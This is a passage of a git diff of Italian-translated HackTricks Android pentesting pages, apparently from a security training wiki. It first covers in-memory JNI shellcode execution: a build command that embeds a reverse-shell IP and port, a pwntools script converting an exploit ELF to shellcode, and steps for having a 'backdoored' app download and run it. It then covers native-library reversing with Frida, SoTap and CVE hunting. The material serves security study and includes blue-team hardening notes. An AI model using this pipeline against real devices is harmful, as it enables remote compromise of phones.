applicano W^X; le mappature anonime PROT_EXEC sono generalmente ancora consentite per i processi delle app con JIT (soggette alla policy SELinux). Alcuni dispositivi/ROM limitano questo; ricorrere a JIT-allocated exec pools o native bridges quando necessario. +- Architetture: Assicurati che l'architettura dello shellcode corrisponda al dispositivo (arm64-v8a comunemente; x86 solo su emulatori). +- Contratto dell'entrypoint: Decidi una convenzione per l'entrypoint del tuo shellcode (no args vs puntatore a struttura). Mantienilo position-independent (PIC). +- Stabilità: Pulisci la instruction cache prima di saltare; una cache non corrispondente può causare crash su ARM. + +Pacchettizzazione ELF → position‑independent shellcode +Una pipeline robusta consiste nel: +- Compila il tuo exploit come un ELF statico con musl-gcc +- Converti l'ELF in un blob di shellcode self‑loading usando pwntools’ shellcraft.loader_append + +Compilazione +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +Convertire ELF in raw shellcode (esempio amd64) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` +Perché loader_append funziona: emette un tiny loader che mappa i segmenti del programma ELF incorporati in memoria e trasferisce il controllo al suo entrypoint, fornendoti un unico raw blob che può essere memcpy’ed ed eseguito dall'app. + +Delivery +- Ospita sc su un server HTTP(S) che controlli +- L'app backdoored/test scarica sc e invoca il bridge JNI mostrato sopra +- Ascolta sulla tua operator box per qualsiasi reverse connection che il payload kernel/user-mode stabilisca + +Validation workflow for kernel payloads +- Usa un vmlinux simbolizzato per reversing/recupero rapido degli offset +- Prototipa le primitive su un'immagine di debug conveniente se disponibile, ma riesegui sempre la validazione sul target Android reale (kallsyms, KASLR slide, page-table layout, and mitigations differ) + +Rafforzamento/Rilevamento (blue team) +- Vieta PROT_EXEC anonimo nei domini delle app dove possibile (SELinux policy) +- Applica una rigorosa code integrity (non consentire dynamic native loading dalla rete) e valida i canali di aggiornamento +- Monitora transizioni sospette mmap/mprotect verso RX e grandi copie di byte-array precedenti a salti + +References +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 178466fe7..67dc8b6d1 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -5,12 +5,12 @@ **Per ulteriori informazioni consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Le app Android possono usare librerie native, tipicamente scritte in C o C++, per attività che richiedono prestazioni critiche. Gli autori di malware abusano anche di queste librerie perché gli ELF shared objects sono ancora più difficili da decompilare rispetto al byte-code DEX/OAT. -Questa pagina si concentra su *workflow* pratici e miglioramenti degli strumenti *recenti* (2023-2025) che rendono più facile il reversing dei file Android `.so`. +Le app Android possono usare librerie native, tipicamente scritte in C o C++, per compiti critici in termini di performance. Anche gli autori di malware abusano di queste librerie perché gli ELF shared objects sono ancora più difficili da decompilare rispetto al byte-code DEX/OAT. +Questa pagina si concentra su workflow *pratici* e su miglioramenti degli strumenti *recenti* (2023-2025) che rendono più facile il reversing di file `.so` Android. --- -### Flusso di triage rapido per un `libfoo.so` appena estratto +### Quick triage-workflow for a freshly pulled `libfoo.so` 1. **Extract the library** ```bash @@ -31,18 +31,18 @@ readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI ``` 4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis. -Le versioni più recenti di Ghidra hanno introdotto un decompiler AArch64 che riconosce PAC/BTI stubs e MTE tags, migliorando notevolmente l'analisi delle librerie compilate con l'NDK di Android 14. -5. **Decide on static vs dynamic reversing:** il codice stripped e offuscato spesso necessita di *instrumentation* (Frida, ptrace/gdbserver, LLDB). +Le versioni più recenti di Ghidra hanno introdotto un decompiler AArch64 che riconosce i PAC/BTI stubs e i tag MTE, migliorando notevolmente l'analisi delle librerie buildate con l'NDK di Android 14. +5. **Decide on static vs dynamic reversing:** il codice stripped o offuscato spesso richiede *strumentazione* (Frida, ptrace/gdbserver, LLDB). --- -### Instrumentazione dinamica (Frida ≥ 16) +### Dynamic Instrumentation (Frida ≥ 16) La serie 16 di Frida ha introdotto diversi miglioramenti specifici per Android che aiutano quando il target usa ottimizzazioni moderne di Clang/LLD: -* `thumb-relocator` può ora *hook tiny ARM/Thumb functions* generate dall'allineamento aggressivo di LLD (`--icf=all`). -* L'enumerazione e il rebinding degli *ELF import slots* funziona su Android, permettendo il patching `dlopen()`/`dlsym()` per modulo quando gli inline hooks vengono rifiutati. -* Il Java hooking è stato corretto per il nuovo **ART quick-entrypoint** usato quando le app sono compilate con `--enable-optimizations` su Android 14. +* `thumb-relocator` può ora *hookare funzioni ARM/Thumb piccole* generate dall'aggressivo allineamento di LLD (`--icf=all`). +* L'enumerazione e il rebinding degli *ELF import slots* funziona su Android, permettendo il patch per-modulo con `dlopen()`/`dlsym()` quando gli inline hooks vengono rifiutati. +* Java hooking è stato sistemato per il nuovo **ART quick-entrypoint** usato quando le app sono compilate con `--enable-optimizations` su Android 14. Esempio: enumerare tutte le funzioni registrate tramite `RegisterNatives` e dumpare i loro indirizzi a runtime: ```javascript @@ -61,29 +61,29 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met }); }); ``` -Frida funzionerà immediatamente su dispositivi con PAC/BTI abilitato (Pixel 8/Android 14+) purché si usi frida-server 16.2 o successivo - le versioni precedenti non riuscivano a trovare il padding per gli inline hooks. +Frida funzionerà immediatamente sui dispositivi abilitati PAC/BTI (Pixel 8/Android 14+) purché si usi frida-server 16.2 o superiore – le versioni precedenti non riuscivano a individuare il padding per gli inline hooks. -### Process-local JNI telemetry via preloaded .so (SoTap) +### Telemetria JNI locale al processo tramite .so precaricato (SoTap) -Quando un'instrumentation completa è eccessiva o bloccata, è comunque possibile ottenere visibilità a livello nativo precaricando un piccolo logger all'interno del processo target. SoTap è una libreria nativa Android leggera (.so) che registra il comportamento runtime di altre librerie JNI (.so) all'interno dello stesso processo dell'app (no root required). +Quando un'instrumentazione completa è eccessiva o bloccata, è comunque possibile ottenere visibilità a livello nativo pre-caricando un piccolo logger all'interno del processo target. SoTap è una libreria nativa Android (.so) leggera che registra il comportamento a runtime di altre librerie JNI (.so) all'interno dello stesso processo dell'app (non richiede root). -Key properties: -- Si inizializza precocemente e osserva le interazioni JNI/native all'interno del processo che lo carica. -- Persiste i log utilizzando più percorsi scrivibili con fallback elegante a Logcat quando lo storage è ristretto. -- Personalizzabile a livello di sorgente: modifica sotap.c per estendere/adeguare cosa viene registrato e ricompila per ABI. +Caratteristiche principali: +- Si inizializza precocemente e osserva le interazioni JNI/native all'interno del processo che la carica. +- Conserva i log usando più percorsi scrivibili con fallback elegante a Logcat quando lo storage è limitato. +- Personalizzabile dal sorgente: modifica sotap.c per estendere/aggiustare ciò che viene loggato e ricompila per ABI. -Setup (repack the APK): -1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so: -- lib/arm64-v8a/libsotap.so (for arm64) -- lib/armeabi-v7a/libsotap.so (for arm32) -2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example: +Setup (ripacchetta l'APK): +1) Inserisci la build per l'ABI corretta nell'APK in modo che il loader possa risolvere libsotap.so: +- lib/arm64-v8a/libsotap.so (per arm64) +- lib/armeabi-v7a/libsotap.so (per arm32) +2) Assicurati che SoTap venga caricata prima delle altre librerie JNI. Inietta una chiamata in anticipo (es. nell'inizializzatore statico della sottoclasse Application o onCreate) in modo che il logger venga inizializzato prima. Esempio di snippet Smali: ```smali const-string v0, "sotap" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V ``` -3) Rebuild/sign/install, run the app, then collect logs. +3) Ricostruisci/firma/installa, avvia l'app, poi raccogli i log. -Log paths (checked in order): +Percorsi dei log (verificati nell'ordine): ``` /data/user/0/%s/files/sotap.log /data/data/%s/files/sotap.log @@ -91,46 +91,57 @@ Log paths (checked in order): /sdcard/Download/sotap-%s.log # If all fail: fallback to Logcat only ``` -Note e risoluzione dei problemi: +Notes and troubleshooting: - L'allineamento ABI è obbligatorio. Un mismatch provocherà UnsatisfiedLinkError e il logger non verrà caricato. -- Le limitazioni di storage sono comuni su Android moderni; se le scritture su file falliscono, SoTap continuerà comunque a emettere tramite Logcat. -- Comportamento/verbosità è pensato per essere personalizzato; ricompila dal sorgente dopo aver modificato sotap.c. +- Le limitazioni di storage sono comuni sui dispositivi Android moderni; se le scritture su file falliscono, SoTap continuerà comunque a emettere tramite Logcat. +- Comportamento/verbosità è pensato per essere personalizzato; ricompila dalla sorgente dopo aver modificato sotap.c. This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available. --- -### Vulnerabilità recenti da cercare negli APK +### See also: in‑memory native code execution via JNI -| Anno | CVE | Libreria interessata | Note | -|------|-----|----------------------|------| -|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| | -|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.| +A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here: + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +--- + +### Recent vulnerabilities worth hunting for in APKs + +| Year | CVE | Affected library | Notes | +|------|-----|------------------|-------| +|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Overflow del buffer heap raggiungibile dal codice nativo che decodifica immagini WebP. Diverse app Android includono versioni vulnerabili. Quando trovi un `libwebp.so` dentro un APK, controlla la sua versione e prova a sfruttarla o a patcharla.| | +|2024|Multiple|OpenSSL 3.x series|Diverse problematiche di sicurezza della memoria e padding-oracle. Molti bundle Flutter & ReactNative distribuiscono il proprio `libcrypto.so`.| When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant. --- -### Tendenze Anti-Reversing & Hardening (Android 13-15) +### Anti-Reversing & Hardening trends (Android 13-15) -* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 abilita PAC/BTI nelle librerie di sistema su siliconi ARMv8.3+ supportati. I decompilatori ora mostrano pseudo-istruzioni correlate a PAC; per l'analisi dinamica Frida inietta trampolines *after* stripping PAC, ma i tuoi trampolines personalizzati dovrebbero chiamare `pacda`/`autibsp` quando necessario. -* **MTE & Scudo hardened allocator:** il memory-tagging è opt-in ma molte app Play-Integrity aware vengono compilate con `-fsanitize=memtag`; usa `setprop arm64.memtag.dump 1` più `adb shell am start ...` per catturare tag faults. -* **LLVM Obfuscator (opaque predicates, control-flow flattening):** i packer commerciali (e.g., Bangcle, SecNeo) proteggono sempre di più il codice *native*, non solo Java; aspettati bogus control-flow e blob di stringhe cifrate in `.rodata`. +* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 abilita PAC/BTI nelle librerie di sistema su siliconi ARMv8.3+ supportati. I decompiler ora mostrano pseudo-istruzioni relative a PAC; per l'analisi dinamica Frida inietta trampolines *after* stripping PAC, ma i tuoi trampolines personalizzati dovrebbero chiamare `pacda`/`autibsp` quando necessario. +* **MTE & Scudo hardened allocator:** il memory-tagging è opzionale ma molte app consapevoli di Play-Integrity vengono compilate con `-fsanitize=memtag`; usa `setprop arm64.memtag.dump 1` più `adb shell am start ...` per catturare i tag faults. +* **LLVM Obfuscator (opaque predicates, control-flow flattening):** i packer commerciali (es. Bangcle, SecNeo) proteggono sempre più il codice *native*, non solo Java; aspettati controllo-flusso fasullo e encrypted string blobs in `.rodata`. --- -### Risorse +### Resources -- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) -- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) -- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) +- **Imparare ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) +- **Documentazione JNI & NDK:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) +- **Debugging delle Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### Riferimenti +### References -- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) +- Changelog di Frida 16.x (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) - Avviso NVD per l'overflow di `libwebp` CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) -- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) +- SoTap: logger leggero per il comportamento JNI in-app (.so) – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) - Come lavorare con SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}}